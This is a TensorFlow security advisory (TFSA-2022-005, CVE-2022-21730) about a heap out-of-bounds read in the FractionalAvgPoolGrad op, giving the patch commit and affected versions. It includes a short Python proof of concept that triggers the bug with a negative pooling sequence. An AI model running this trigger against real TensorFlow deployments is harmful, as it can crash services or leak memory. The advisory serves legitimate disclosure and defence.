xref: /aosp_15_r20/external/tensorflow/tensorflow/security/advisory/tfsa-2022-005.md (revision b6fb3261f9314811a0f4371741dbb8839866f948)
1## TFSA-2022-005: Heap OOB access in `FractionalAvgPoolGrad`
2
3### CVE Number
4CVE-2022-21730
5
6### Impact
7The [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:
8
9```python
10import tensorflow as tf
11
12@tf.function
13def test():
14  y = tf.raw_ops.FractionalAvgPoolGrad(
15    orig_input_tensor_shape=[2,2,2,2],
16    out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],
17    row_pooling_sequence=[-10,1,2,3],
18    col_pooling_sequence=[1,2,3,4],
19    overlapping=True)
20  return y
21
22test()
23```
24
25### Patches
26We have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).
27
28The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
29
30### For more information
31Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
32
33### Attribution
34This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.
35